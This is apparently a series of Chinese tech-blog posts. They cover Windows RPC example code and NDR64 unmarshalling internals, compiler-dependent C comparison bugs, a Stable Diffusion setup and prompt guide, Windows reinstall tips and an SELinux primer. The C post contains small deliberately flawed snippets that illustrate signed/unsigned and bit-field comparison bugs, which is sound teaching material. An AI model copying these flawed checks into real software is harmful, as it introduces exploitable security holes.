// enough memory to pass the string to the server.
void* __RPC_USER midl_user_allocate(size_t size)
{
    return malloc(size);
}

// Memory deallocation function for RPC.
void __RPC_USER midl_user_free(void* p)
{
    free(p);
}

idl:

// File Example1.idl
[
   // A unique identifier that distinguishes this interface from other interfaces.
   uuid(00000001-EAF3-4A7A-A0F2-BCE4C30DA77E),

   // This is version 1.0 of this interface.
   version(1.0)
]
interface Example1 // The interface is named Example1
{
   // A function that takes a zero-terminated string.
   void Output(
      [in, string] const char* szOutput);
}

Client:

// File Example1Client.cpp
#include 
#include "../Example1/Example1.h"

int main()
{
   RPC_STATUS status;
   unsigned char* szStringBinding = NULL;

   // Creates a string binding handle.
   // This function is nothing more than a printf.
   // Connection is not done here.
   status = RpcStringBindingCompose(
      NULL, // UUID to bind to.
      reinterpret_cast("ncacn_ip_tcp"), // Use TCP/IP
                                                        // protocol.
      reinterpret_cast("localhost"), // TCP/IP network
                                                     // address to use.
      reinterpret_cast("4747"), // TCP/IP port to use.
      NULL, // Protocol dependent network options to use.
      &szStringBinding); // String binding output.

   if (status)
      exit(status);

   // Validates the format of the string binding handle and converts
   // it to a binding handle.
   // Connection is not done here either.
   status = RpcBindingFromStringBinding(
      szStringBinding, // The string binding to validate.
      &hExample1Binding); // Put the result in the implicit binding
                          // handle defined in the IDL file.

   if (status)
      exit(status);

   RpcTryExcept
   {
      // Calls the RPC function. The hExample1Binding binding handle
      // is used implicitly.
      // Connection is done here.
      Output("Hello Implicit RPC World!");
   }
   RpcExcept(1)
   {
      std::cerr << "Runtime reported exception " << RpcExceptionCode()
                << std::endl;
   }
   RpcEndExcept

   // Free the memory allocated by a string.
   status = RpcStringFree(
      &szStringBinding); // String to be freed.

   if (status)
      exit(status);

   // Releases binding handle resources and disconnects from the server.
   status = RpcBindingFree(
      &hExample1Binding); // Frees the implicit binding handle defined in
                          // the IDL file.

   if (status)
      exit(status);
}

// Memory allocation function for RPC.
// The runtime uses these two functions for allocating/deallocating
// enough memory to pass the string to the server.
void* __RPC_USER midl_user_allocate(size_t size)
{
    return malloc(size);
}

// Memory deallocation function for RPC.
void __RPC_USER midl_user_free(void* p)
{
    free(p);
}

NDR64_FORMAT_CHARACTER

FC64_ZERO = 0 0x0
FC64_UINT8 = 1 0x1
FC64_INT8 = 2 0x2
FC64_UINT16 = 3 0x3
FC64_INT16 = 4 0x4
FC64_INT32 = 5 0x5
FC64_UINT32 = 6 0x6
FC64_INT64 = 7 0x7
FC64_UINT64 = 8 0x8
FC64_INT128 = 9 0x9
FC64_UINT128 = 10 0xa
FC64_FLOAT32 = 11 0xb
FC64_FLOAT64 = 12 0xc
FC64_FLOAT80 = 13 0xd
FC64_FLOAT128 = 14 0xe
FC64_CHAR = 16 0x10
FC64_WCHAR = 17 0x11
FC64_IGNORE = 18 0x12
FC64_ERROR_STATUS_T = 19 0x13
FC64_POINTER = 20 0x14
FC64_RP = 32 0x20
FC64_UP = 33 0x21 //表示这个字段是个指针
FC64_OP = 34 0x22
FC64_FP = 35 0x23
FC64_IP = 36 0x24
FC64_STRUCT = 48 0x30
FC64_PSTRUCT = 49 0x31
FC64_CONF_STRUCT = 50 0x32
FC64_CONF_PSTRUCT = 51 0x33
FC64_BOGUS_STRUCT = 52 0x34
FC64_FORCED_BOGUS_STRUCT = 53 0x35
FC64_CONF_BOGUS_STRUCT = 54 0x36
FC64_FORCED_CONF_BOGUS_STRUCT = 55 0x37
FC64_SYSTEM_HANDLE = 60 0x3c
FC64_FIX_ARRAY = 64 0x40
FC64_CONF_ARRAY = 65 0x41
FC64_VAR_ARRAY = 66 0x42
FC64_CONFVAR_ARRAY = 67 0x43
FC64_FIX_FORCED_BOGUS_ARRAY = 68 0x44
FC64_FIX_BOGUS_ARRAY = 69 0x45
FC64_FORCED_BOGUS_ARRAY = 70 0x46
FC64_BOGUS_ARRAY = 71 0x47
FC64_ENCAPSULATED_UNION = 80 0x50
FC64_NON_ENCAPSULATED_UNION = 81 0x51
FC64_CHAR_STRING = 96 0x60
FC64_WCHAR_STRING = 97 0x61
FC64_STRUCT_STRING = 98 0x62
FC64_CONF_CHAR_STRING = 99 0x63
FC64_CONF_WCHAR_STRING = 100 0x64
FC64_CONF_STRUCT_STRING = 101 0x65
FC64_BIND_CONTEXT = 112 0x70
FC64_BIND_GENERIC = 113 0x71
FC64_BIND_PRIMITIVE = 114 0x72
FC64_AUTO_HANDLE = 115 0x73
FC64_CALLBACK_HANDLE = 116 0x74
FC64_SUPPLEMENT = 117 0x75
FC64_NO_REPEAT = 128 0x80
FC64_FIXED_REPEAT = 129 0x81
FC64_VARIABLE_REPEAT = 130 0x82
FC64_FIXED_OFFSET = 131 0x83
FC64_VARIABLE_OFFSET = 132 0x84
FC64_STRUCTPADN = 144 0x90
FC64_EMBEDDED_COMPLEX = 145 0x91
FC64_BUFFER_ALIGN = 146 0x92
FC64_END = 147 0x93
FC64_TRANSMIT_AS = 160 0xa0
FC64_REPRESENT_AS = 161 0xa1
FC64_USER_MARSHAL = 162 0xa2
FC64_PIPE = 163 0xa3
FC64_RANGE = 164 0xa4
FC64_PAD = 165 0xa5

通过以下方式获取:

参考来源: Building More Windows RPC Tooling for Security Research - James Forshaw

RPC 反序列化流程(不完整)

Ndr64StubWorker
Ndr64pServerUnMarshal
check func arg tag; IsBasetype.....
Ndr64pPointerUnmarshall
or
Ndr64ConformantStringUnmarshall
or
Ndr64ComplexStructUnmarshall // 针对结构体指针类型
Ndr64ComplexStructMemorySize // 检查结构体描述符, 计算结构体长度
解码数据....
Ndr64SimpleTypeUnmarshall
Ndr64EmbeddedPointerUnmarshall
Ndr64ConformantArrayUnmarshall
Ndr64pEarlyCheckCorrelation
EvaluateExpr
Ndr64pGetAllocateAllNodesContext
Ndr64ConformantArrayMemorySize
a1->pfnAllocate()// 申请数组的堆
.....
or
Ndr64UnmarshallHandle // 针对 context_handle 类型
.....
Invoke
target rpc func

参考

https://www.tiraniddo.dev/2021/08/how-to-secure-windows-rpc-server-and.html

https://www.codeproject.com/Articles/4837/Introduction-to-RPC-Part-1#Implicitandexplicithandles17

致谢

感谢 k0shl, @XiaoWei___ 两位大佬帮我理解这个rpc.

和编译器编译结果有关的漏洞问题

2023-03-24T06:49:54.908Z

c语言作为最基础的语言，经历了这么多年的迭代，它的标准里依然存在很多未定义的东西，而不同的编译器就会出现不一样的结果，这边blog主要是总结一些可能出现的和编译器的编译结果有关的漏洞

有符号和bit字段的比较

c语言有种结构体，用的是bit位：

struct a {
unsigned f1 : 8;
unsigned f2 : 2;
unsigned f3 : 6;
} t1;

这个结构体最终的sizeof(t1)为2, 因为它只用了2个字节存储数据.

然而, 当一个int类型的结构体和t1的字段比较时, 结果就未知了.

#include 

void main(void) {
struct a {
unsigned f1 : 8;
unsigned f2 : 2;
unsigned f3 : 6;
} t1;
int t2 = 0xffffffff;

t1.f1 = 0xaa;
printf("%d\n", t2 > t1.f1);
}

上面的代码, gcc的结果就是0, 而使用visual studio编译的就是1.

这种无符号和有符号的比较一般是要将有符号的数变成无符号再比较的, 在汇编层就是ja, jb这种跳转, 然而gcc的就是先把f1扩展成无符号的int, 然后有符号比较. 导致输出就是0. 这样就可能出现安全漏洞.

而且 gcc t.c -Werror -Wall -Wextra -Wconversion这样编译的情况下, 依然不会有任何警告!!

无符号和0的比较

struct s{
unsigned int len;
char *buffer;
} *a;

int not_safe(struct s *ptr){
 if(ptr->len - sizeof(struct s) < 0){
  return 0;
 }
 return 1;
}

gcc默认是不会警告的, 只有启用-Wextra才会警告这种行为, 所以遇到这种比较可以关注一下

Stable Diffusion安装使用指南

2023-02-28T01:54:06.052Z

时下文生图已经非常火热, 自己搭一个服务, 跑起来玩也是不错的选择

环境搭建

Windows环境搭建

获取AUTOMATIC1111/stable-diffusion-webui, 解压缩.
安装python 3.10.9, 注意开头要勾选把python添加到PATH或者手动添加.

设置国内pip源. 在C:\users\你的用户名\下创建pip文件夹, 并新建pip.ini文件, 添加以下内容:

1
2
3

[global]
index-url = https://pypi.tuna.tsinghua.edu.cn/simple
trusted-host = pypi.tuna.tsinghua.edu.cn

当然也可以选其他源:

阿里云:http://mirrors.aliyun.com/pypi/simple/
中国科技大学:https://pypi.mirrors.ustc.edu.cn/simple/
豆瓣(douban):http://pypi.douban.com/simple/
清华大学:https://pypi.tuna.tsinghua.edu.cn/simple/
中国科学技术大学:http://pypi.mirrors.ustc.edu.cn/simple/

安装git, 安装完成后, 最好是有本地翻墙, 设置git代理, 不然下载可能出现问题

1 2	git config --global https.proxy http://127.0.0.1:1080 git config --global http.proxy http://127.0.0.1:1080

进入stable-diffusion-webui目录, 打开launch.py

在下面位置添加一行输出

def run(command, desc=None, errdesc=None, custom_env=None, live=False):
    print("run:", command) # 添加此行
    if desc is not None:
        print(desc)

运行webui.bat, 它会自动下载需要的组件.

如果遇到它输出卡了很久或者失败, 找到我们设置的run:输出, 手动执行一下看看问题在哪.
默认它会先git下载需要的库到repositories目录里, 然后才下载python的库, 为了提高操作速度, 可以在它下载git的时候另起一个终端执行python -m pip install -r requirements_versions.txt --prefer-binary下载所需的库.
如果显卡的内存比较低, 打开webui-user.bat, 在 COMMANDLINE_ARGS= 后添加 --lowvram(显卡是2GB显存), 或者--medvram(4GB - 6GB显存), 然后运行webui-user.bat而非webui.bat. 参考

出现以下信息代表正常执行, 可以在浏览器访问它了

Model loaded in 13.9s (load weights from disk: 0.1s, create model: 0.6s, apply weights to model: 8.6s, apply half(): 1.2s, move model to device: 1.3s, load textual inversion embeddings: 1.9s).
run: git rev-parse HEAD
Running on local URL:  http://127.0.0.1:7860

To create a public link, set `share=True` in `launch()`

访问http://127.0.0.1:7860:

tag指南

tag规则

(tag)表示强调tag, ((tag))可以像这样嵌套多个括号, 强调更高, 但其实还不如写数值, 比如(tag:1.2), 就是强调1.2倍, 当然也可以是小于1来减弱.

tag1|tag2 表示混合1:1使用, 1girl,red|blue hair, long hair就是说红蓝长发的女孩

[tag]就是减弱tag

[tag1:tag2:n], 如果n为正整数, 就是在n步前用tag1, n步后用tag2, 如果<1的小数, 就是百分比

[tag1|tag2] 表示这是混合物. [cow|horse|cat|dog] in a field就是先朝着像牛努力，再朝着像马努力，再向着猫努力，再向着狗努力，再向着马努力

tag越靠前, 权重越大. tag越多, 每个的权重就越小. 如果拼写错误, 将会理解成字母.

这种就是选择了模型后, 自动填入的, :表示强调程度,

参考文件, 来自B站up主PiPI哈皮.

tag进阶

参考: Stable Diffusion使用入门与提示词技巧

推荐的tag顺序是: 描述画质的词, 画面主要内容的词

提高画质

1	best quality, ultra-detailed, masterpiece, finely detail, highres, 4k, 8k wallpaper, extremely clear, ultra-detailed unity 8k wallpaper, dreamlike

画质负面词

1
2
3

(worst quality:2), (low quality:2), (normal quality:2), lowres
以下的是text inversion, 需要在civitai下载
EasyNegative,ng_deepnegative_v1_75t

保真

1	realistic, photo-realistic,vivid

提高元素质量

beautiful detailed eyes, detailed facial features, detailed clothes features
highly detailed skin
extremely delicate and beautiful girls

后面的名词也可以换成其他的

人物负面词

mutated hands and fingers,deformed, bad anatomy, disfigured, poorly drawn face, mutation, extra limb, ugly, poorly drawn hands, missing limb, floating limbs, disconnected limbs, malformed hands, out of focus, long neck, long body, skin blemishes,acnes(粉刺), skin spots(皮肤斑点), age spot(老年斑)

人物描述词

1 2	smile, puffy eyes(眼袋卧蚕?),skin tight(紧致),shiny(光泽) skin,slender(纤细),slim bangs(刘海),

手的负面词

((poorly drawn hands)),more than 1 left hand, more than 1 right hand, short arm, (((missing arms))), bad hands,missing fingers,(extradigit),(fewer digits),mutated hands,(fused fingers),(too many fingers),sharp fingers,wrong figernails,long hand,double middle finger,index fingers together,missing indexfinger,interlocked fingers,pieck fingers,sharp fingernails,(steepled fingers),x fingers,((curled fingers)),(no finger gaps),interlocked fingers,fingers different thickness,cross fingers,poor outline,big fingers,finger growth,outline on body,outline on hair,out line on background,more than one hands,fuse arm,fuse elbow,more than two arm,more than two elbow

视角和视线

dynamic angle
from above 俯视
from below 仰视
wide shot 广角
Aerial View 鸟瞰
looking at viewer
looking at another
looking away
looking back
looking up

身体

1
2
3

full body shot 全身
half body shot,cowboy shot 半身
close-up shot 近身

光线

dynamic lighting 动态光
cinematic lighting 电影光
professional lighting
soft lighting, radiosity

画风

1 2	sketch 素描 one-hour drawing challenge 手绘风

身体状态

1
2
3

blush（脸红）
wet sweat（大汗）
flying sweatdrops (飞汗 ）

姿势

hands on 例hands on own face, hands on feet, hands on breast 
kneeling 跪着
hand between legs
hair flip 撩发
skirt flip 撩衣

技巧

获取AI图的信息

如果看上了一个ai图片, 找到原图, 把图放到webui的PNG info里, 可以读取生成时的参数, 不过小心网络图片压缩导致的信息丢失.

另外, 由于模型的本地文件名决定了某些tag的名称, 所以如果你下载模型的时候没有使用默认名称, 就需要知道它具体用了什么模型, 改成正确的名字.

此外, text inversion在被使用的时候, 是没办法和普通tag做区分的, 如果发现奇怪的名词tag, 那大概率是text inversion. 可以在civitai里搜索它.

模型训练

StableDiffusion/NAI DreamBooth自训练全教程

模型推荐

https://civitai.com/models/13941/epinoiseoffset 提高对比度的Noise Offset的Lora模型

教程推荐

AI绘画教程：从入门到放弃(xiaobai)

插件推荐

Booru tag autocompletion, 自动补全tag

在线体验服务

huggingface可以提供名为Space的虚拟机服务, 上面有很多免费的各种服务, 可以通过这些免费的服务来跑 AI出图的demo. 缺点就是速度慢, 而且没办法灵活运用插件, 只能跑着玩.

比如如下几个服务:

controlnet

https://huggingface.co/spaces/hysts/ControlNet

stable-diffusion-webui

https://huggingface.co/spaces/jackli888/stable-diffusion-webui

常见错误

No module ‘xformers’. Proceeding without it.
对于低端显卡, 倒是没什么影响, 但是高端显卡, 可能需要解决一下
ModuleNotFoundError: No module named ‘basicsr.version’
先重新运行python -m pip install -r requirements_versions.txt --prefer-binary, 再打开stable-diffusion-webui\venv\pyvenv.cfg , 修改 include-system-site-packages = true , 再重新运行webui.bat即可. 参考
Expected all tensors to be on the same device, but found at least two devices, cpu and cuda:0! (when checking argument for argument index in method wrapper__index_select)
去掉webui-user.bat的 --medvram
RuntimeError: CUDA out of memory. Tried to allocate 30.00 MiB (GPU 0; 4.00 GiB total capacity; 1.7 GiB already allocated; 0 bytes free; 2.30 GiB reserved in total by PyTorch) If reserved memory is >> allocated memory try setting max_split_size_mb to avoid fragmentation.
显卡内存不足, 在webui-user.bat的 COMMANDLINE_ARGS= 添加--lowvram, 使用webui-user.bat启动

其他错误参考

关键名词解释

来源

模型仓库

常见的模型下载仓库为以下几种，点击可直接前往仓库地址：

HuggingFace：Stable Diffusion、ControlNet的官方仓库。
Civitai：里面多是Lora或其它NSFW等模型的仓库。
Discord：公共聊天软件，如果有需要可行前往搜索相应频道。
TG：公共聊天软件，如果有需要可行前往搜索相应频道。
Reddit：公共交流社区，如果有需要可行前往搜索相应频道。

在HuggingFace仓库中下载所需的模型时，将会看到各种各样格式的文件。对于一般的使用者来说，仅下载Stable Diffusion的常用CKPT格式模型文件即可。

模型种类

大模型

大模型特指标准的latent-diffusion模型。拥有完整的TextEncoder、U-Net、VAE。

由于想要训练一个大模型非常困难，需要极高的显卡算力，所以更多的人选择去训练小型模型。

CKPT

CKPT格式的全称为CheckPoint（检查点），完整模型的常见格式，模型体积较大，一般单个模型的大小在7GB左右。

文件位置：该模型一般放置在*\stable-diffusion-webui\models\Stable-diffusion目录内。

小模型

小模型一般都是截取大模型的某一特定部分，虽然不如大模型能力那样完整，但是小而精，因为训练的方向各为明确，所以在生成特定内容的情况下，效果更佳。

常见微调模型：Textual inversion (Embedding)、Hypernetwork、VAE、LoRA等，下面一一进行介绍。

VAE

全称：VAE全称Variational autoencoder。变分自编码器，负责将潜空间的数据转换为正常图像。

后缀格式：后缀一般为.pt格式。

功能描述：类似于滤镜一样的东西，他会影响出图的画面的色彩和某些极其微小的细节。大模型本身里面自带 VAE ，但是并不是所有大模型都适合使用VAE，VAE最好搭配指定的模型，避免出现反效果，降低生成质量。

使用方法：设置 -> Stable-Diffusion -> 模型的 VAE (SD VAE)，在该选项框内选择VAE模型。

文件位置：该模型一般放置在*\stable-diffusion-webui\models\VAE目录内。

Embedding

常见格式为pt、png、webp格式，文件体积一般只有几KB。

风格模型，即只针对一个风格或一个主题，并将其作为一个模块在生成画作时使用对应TAG在Prompt进行调用。

使用方法：例如用数百张海绵宝宝训练了一个Embedding模型，然后将该模型命名为HMBaby，在使用AI绘图时加载名称为HMBaby的Embedding模型，在使用Promat时加入HMBaby的Tag关键字，SD将会自动调用该模型参与AI创作。

文件位置：该模型一般放置在*\stable-diffusion-webui\embeddings目录内。

Hypernetwork

一般为.pt后缀格式，大小一般在几十兆左右。这种模型的可自定义的参数非常之多。

使用方法：使用方法：在SD的文生图或图生图界面内的生成按钮下，可以看到一个红色的图标，该图标名为Show extra networks（显示额外网络），点击该红色图标将会在本页弹出一个面板，在该面板中可以看到Hypernetwork选项卡。

文件位置：该模型一般放置在*\stable-diffusion-webui\models\hypernetworks目录内。

LoRA

LoRA(Low-Rank Adaptation of Large Language Models)的模型分两种，一种是基础模型，一种是变体。

目前最新版本的Stable-diffusion-WebUI原生支持Lora模型库，非常方便使用。

使用方法：在SD的文生图或图生图界面内的生成按钮下，可以看到一个红色的图标，该图标名为Show extra networks（显示额外网络），点击该红色图标将会在本页弹出一个面板，在该面板中可以看到Lora选项卡，在该选项卡中可以自由选择Lora模型，点击想要使用的模型将会自动在Prompt文本框中插入该Lora模型的Tag名称。

基础模型

名称一般为chilloutmix*，后缀可能为safetensors或CKPT。

基础模型存放位置：*\stable-diffusion-webui\models\Stable-diffusion目录内。

变体模型

变体模型存放位置：*\stable-diffusion-webui\models\Lora目录内。

模型后缀解析

格式	描述
.ckpt	Pytorch的标准模型保存格式，容易遭受Pickle反序列化攻击。
.pt	Pytorch的标准模型保存格式，容易遭受Pickle反序列化攻击。
.pth	Pytorch的标准模型保存格式，容易遭受Pickle反序列化攻击。
.safetensors	safetensors格式可与Pytorch的模型相互格式转换，内容数据无区别。
其它	webui 特殊模型保存方法：PNG、WEBP图片格式。

Safetensors格式

Safetensors格式所生成的内容与ckpt等格式完全一致（包括NFSW）。
Safetensors格式拥有更高的安全性，
Safetensors比ckpt格式加载速度更快
该格式必须在2023年之后的Stable Diffusion内才可以使用，在此之间的SD版本内使用将无法识别。
Safetensors格式由Huggingface推出，将会逐渐取代ckpt、pt、pth等格式，使用方法上与其它格式完全一致。【该详细的说明文章：*.safetensors (github.com)】

模型训练

Embedding (Textual inversion)

可训练：画风√ 人物√ | 推荐训练：人物

配置要求：显存6GB以上。

训练速度：中等 | 训练难度：中等

综合评价：☆☆☆

Hypernetwork

可训练：画风√ 人物√ | 推荐训练：画风

配置要求：显存6GB以上。

训练速度：中等 | 训练难度：难

综合评价：☆☆

评价：非常强大的一种模型，但是想训练好很难，不推荐训练。

LoRA

可训练：画风? 人物√ 概念√ | 推荐训练：人物

配置要求：显存8GB以上。

训练速度：快 | 训练难度：简单

综合评价：☆☆☆☆

评价：非常好训练好出效果的人物训练，配置要求低，图要求少。

备注：LoRA 本身也应该归类到 Dreambooth，但是这里还是分开讲。

Dreambooth / Native Train

可训练：画风√ 人物√ 概念√ | 推荐训练：Dreambooth 推荐人物，Native Train 推荐画风

配置要求：显存12GB以上。

训练速度：慢 | 训练难度：可以简单可以很难

综合评价：☆☆☆☆☆

评价：微调大模型，非常强大的训练方式，但是使用上会不那么灵活，推荐训练画风用，人物使用 LoRA 训练。

DreamArtist

显存要求6GB（4GB应该也可以），只需要（也只能）使用一张图完成训练，一般用于训练人物（画风没法抓住主次），优点是训练要求极低，成功率高，缺点是容易过拟合，并且不像Embedding可以跨模型应用，这个训练时使用什么模型应用时就要用什么，哪怕调一下CLIP参数生成结果都会完全跑飞。推荐每250步保存模型，后期用X/Y图脚本进行挑选。

模型后缀

仓库内一般存在多个模型文件，文件名后缀各不相同，这里简单介绍下文件名常见后缀及其含义：

ControlNet

ControlNet比之前的img2img要更加的精准和有效，可以直接提取画面的构图，人物的姿势和画
面的深度信息等等。有了它的帮助，就不用频繁的用提示词来碰运气，抽卡式的创作了。

instruct-pix2pix

在 stable-diffusion-webui 中的img2img专用模型自然语言指导图像编辑生成速度极快，仅需要几秒的时间。

FP16、FP32

代表着精度不同，精度越高所需显存越大，效果也会有所提升。

512｜768

代表着默认训练分辨率时512X512还是768X768，理论上默认分辨率高生成效果也会相应更好。

inpaint

代表着是专门为imgtoimg中的inpaint功能训练的模型，在做inpaint时效果会相对来说较好。

depth

代表此模型是能包含处理图片深度信息并进行inpainting和img2img的

EMA

模型文件名中带EMA一般意味着这是个用来继续训练的模型,文件大小相对较大

与之相比,正常的、大小相当较小的那个模型文件是为了做推理生成的

对于那些有兴趣真正理解发生了什么的人来说，应该使用EMA模型来进行推理

小模型实际上有EMA权重。而大模型是一个 “完整版”，既有EMA权重，也有标准权重。因此，如果你想训练这个模型，你应该加载完整的模型，并使用use_ema=False。

EMA权重

就像你作为一个学生在接受训练时，也许你会在最后一次考试表现较差，或者决定作弊并记住答案。所以一般来说，通过使用考试分数的平均值，你可以更好地了解到学生的表现，

由于你不关心幼儿园时的分数，如果你只考虑去年的分数(即只用一组最近的实际数据值来预测)，你会得到MA（moving average 移动平均数). 而如果你保留整个历史，但给最近的分数以更大的权重，则会得到EMA(exponential moving average 指数移动平均数)。

这对具有不稳定训练动态的GANs来说是一个非常重要的技巧，但对扩散模型来说，它其实并不是那么重要。

VAE

VAE模型文件并不能和正常模型文件一样独立完成图片生成。

重装系统的一些操作建议

2023-02-23T07:17:02.785Z

时不时需要重装系统，面临很多需要重复操作又容易忘记的事情，记录一下。

映射目录为虚拟分区号

将某个文件夹映射为一个虚拟分区号, 方便访问文件夹或者备份的时候路径短一些

1 2	[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\DOS Devices] "X:"="\\??\\D:\\Downloads\\Work\\MyFiles"

WOL脚本

最开始不理解wol原理就搜教程, 网上的人也不知道咋写的, 一个wol用python就能解决的, 教程居然让下载一个工具, 一点也不geek.

import socket

s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
s.sendto('\xff'*6+'\xAA\xAA\xAA\xAA\xAA\xAA'*16, ("255.255.255.255",9))

需要注意的是, 如果想在公网唤醒局域网的机器, 路由器端口转发好像不好使(即使把机器绑定了固定ip), 设定广播ip也不好使, 应该必须设置静态arp. 想设置arp, 这个就看路由器了, 很难弄, 所以家里有群晖的, 用群晖跑个命令更靠谱一些.

实用windows软件推荐

everything 搜本地文件神器! 装机必备

xyplorer windows自带的文件管理不支持tab管理, 费劲, 我个人比较喜欢这个文件管理器, 而且可以一直试用

sublime text 十分强大的文本编辑器, 比起vscode小巧, 功能强大. vscode后台一堆进程, 占用内存太多, 我不喜欢, 还是sublime 可爱.

rufus 刻盘装系统工具, 很实用.

设置空格替换tab

1
2
3

"tab_size": 4,
"translate_tabs_to_spaces": true
"expand_tabs_on_save": true

7z 我觉得, 它是最屌的解压缩软件, 没人有意见吧 :) 安装后, 需要打开7z文件管理器, 在工具->选项里点一下 +号, 才能关联文件后缀, 切记!

system32目录文件修改

如果要删除或修改C:\windows\system32\目录下的文件, 一般需要TrustInstaller权限, 要修改它, 可以现在管理员命令行里运行takeown /f C:\windows\system32\xxx.dll, 然后在文件管理里，右键文件， 属性->安全:

选择当前用户, 选择编辑, 然后勾选完全控制, 确认后就可以随意更改了.

vs code 插件

像sourcehight一样, shift+f8 高亮关键词.

SELinux 简介

2023-02-22T11:54:44.259Z

测试中时常涉及到SELinux, 但是又不太懂咋回事. 学习一下, 整理出来, 希望可以帮到有疑惑的人

默认情况下, linux的权限隔离是依据用户的权限来划分的, 称为自主访问控制(DAC). 而SELinux是根据进程和资源划分类和访问权限的. 两者不矛盾, 可以一起存在.

准备工作

要使用和管理selinux, 需要一些命令, 需要安装一下:

以centos7为例:

sesearch: yum install setools-console

semanage:

$ yum provides semanage
...
policycoreutils-python-2.5-34.el7.x86_64 : SELinux policy core python utilities
Repo        : base
Matched from:
Filename    : /usr/sbin/semanage

$ yum install policycoreutils-python-2.5-34.el7.x86_64

sealert: 与semanage类似. 比如centos7是yum install setroubleshoot-server-3.2.30-8.el7.x86_64. 当然没有它也不要紧.

工作模式

enforcing：强制模式。违反 SELinux 规则的行为将被阻止并记录到日志中。
permissive：宽容模式。违反 SELinux 规则的行为只会记录到日志中。一般为调试用。
disabled：关闭 SELinux。

通过命令getenforce可以查看当前状态, 通过setenforce可以更改它.

Ubuntu如果没有命令, 可以apt install selinux-utils安装. 默认情况下Ubuntu不启用SELinux, 而是apparmor

查看规则

使用sesearch -A可以查看所有允许的规则. (非”允许规则”就是不允许)

举例:

1 2	$ sesearch -A\|grep syslogd_t allow syslogd_t tmp_t : dir { ioctl read write getattr lock add_name remove_name search open } ;

格式为ALLOW (src type) (dst type):class { allowed attributes };

通过chcon -u aaa_u -r bbb_r -t ccc_t test可以临时修改文件的规则

semanage fcontext --list 可以查看文件或者文件夹对于的type规则.

semodule -l可以查看已经安装的module里封装的规则

$ semodule -l
...
varnishd        1.2.0
vdagent 1.1.1
vhostmd 1.1.0
virt    1.5.0
vlock   1.2.0
vmtools 1.0.0
vmware  2.7.0
vnstatd 1.1.0
vpn     1.16.0
w3c     1.1.0
watchdog        1.8.0
wdmd    1.1.0
...

如果我们想了解vmtools的规则, 可以这样:

1	$ semodule -E vmtools

执行完成后, 可以看到目录下生成了vmtools.pp文件.

使用sedismod查看规则:

$ sedismod vmtools.pp
Reading policy...
libsepol.policydb_index_others: security:  0 users, 4 roles, 112 types, 4 bools
libsepol.policydb_index_others: security: 1 sens, 1024 cats
libsepol.policydb_index_others: security:  101 classes, 0 rules, 0 cond rules
libsepol.policydb_index_others: security:  0 users, 4 roles, 112 types, 4 bools
libsepol.policydb_index_others: security: 1 sens, 1024 cats
libsepol.policydb_index_others: security:  101 classes, 0 rules, 0 cond rules
Binary policy module file loaded.
Module name: vmtools
Module version: 1.0.0


Select a command:
1)  display unconditional AVTAB
2)  display conditional AVTAB
3)  display users
4)  display bools
5)  display roles
6)  display types, attributes, and aliases
7)  display role transitions
8)  display role allows
9)  Display policycon
0)  Display initial SIDs

a)  Display avrule requirements
b)  Display avrule declarations
c)  Display policy capabilities
l)  Link in a module
u)  Display the unknown handling setting
F)  Display filename_trans rules

f)  set output file
m)  display menu
q)  quit

Command ('m' for menu):

这里我们输入1, 显示unconditional规则

unconditional avtab:
--- begin avrule block ---
decl 1:
  allow vmtools_t vmtools_exec_t : [file] { entrypoint };
  allow vmtools_t vmtools_exec_t : [file] { ioctl read getattr lock map execute execute_no_trans open };
  type_transition [initrc_domain] vmtools_exec_t : [process]  vmtools_t;
  allow vmtools_helper_t vmtools_helper_exec_t : [file] { entrypoint };
  allow vmtools_helper_t vmtools_helper_exec_t : [file] { ioctl read getattr lock map execute execute_no_trans open };
  allow vmtools_t self : [capability] { sys_rawio sys_time };
  allow vmtools_t self : [fifo_file] { ioctl read write getattr lock append open };
  allow vmtools_t self : [unix_stream_socket] { ioctl read write create getattr setattr lock append bind connect listen accept getopt setopt shutdown };
  allow vmtools_t self : [unix_dgram_socket] { ioctl read write create getattr setattr lock append bind connect getopt setopt shutdown };
  allow vmtools_t vmtools_tmp_t : [dir] { ioctl read write getattr lock add_name remove_name search open };
  allow vmtools_t vmtools_tmp_t : [dir] { ioctl read write create getattr setattr lock unlink link rename add_name remove_name reparent search rmdir open };
  allow vmtools_t vmtools_tmp_t : [dir] { ioctl read write getattr lock add_name remove_name search open };
  allow vmtools_t vmtools_tmp_t : [file] { ioctl read write create getattr setattr lock append unlink link rename open };
  allow vmtools_t vmtools_tmp_t : [dir] { ioctl read
  ....

Security Context

进程的type也称为Domain.

unconfined_t是无限制的domain. 一般登录用户启动的程序为这个domain.

ls -Z可以查看文件的security context.

[root@localhost vv]# ls -Z /root/
-rw-------. root root system_u:object_r:admin_home_t:s0 anaconda-ks.cfg
-rw-r--r--. root root system_u:object_r:admin_home_t:s0 initial-setup-ks.cfg
-rw-r--r--. root root unconfined_u:object_r:admin_home_t:s0 t2

ps -auxZ可以查看进程的security context.

system_u:system_r:kernel_t:s0   root        569  0.0  0.0      0     0 ?        S<   May04   0:00 [xfs-eofblocks/s]
system_u:system_r:kernel_t:s0   root        572  0.0  0.0      0     0 ?        S    May04   0:00 [xfsaild/sda1]
system_u:system_r:auditd_t:s0   root        654  0.0  0.0  55504   460 ?        S
system_u:system_r:audisp_t:s0   root        656  0.0  0.0  84548   580 ?        S

Domain Transition

假如进程A属于Domain a, 它启动了一个程序X, 程序X启动后的Domain是Domain b. 我们就称之为Domain Transition.

实现这个需要满足3个前提:

Domain a 和Domain b有程序文件X的 execute 属性
Domain a允许迁移到Domain b. (即 process transition 属性)

文件X是Domain b的 entrypoint. 比如

1 2	$ sesearch -A\|grep vmtools_t\|grep entrypoint allow vmtools_t vmtools_exec_t : file { ioctl read getattr lock map execute execute_no_trans entrypoint open } ;

如果是在pp文件里, 就形如 type_transition [initrc_domain] vmtools_exec_t : [process] vmtools_t;

举例: init_t到httpd_t的Domain Transition:

先查看vftpd的文件和进程的security context:

[root@localhost ~]# ls -Z /usr/sbin/vsftpd
-rwxr-xr-x. root root system_u:object_r:ftpd_exec_t:s0 /usr/sbin/vsftpd
[root@localhost ~]# ps -auxZ|grep vftpd
system_u:object_r:ftpd_t:s0-s0:c0.c1023 root 2829 0.0  0.0 112660 964 pts/1 R+ 07:42   0:00 grep --color=auto vftpd

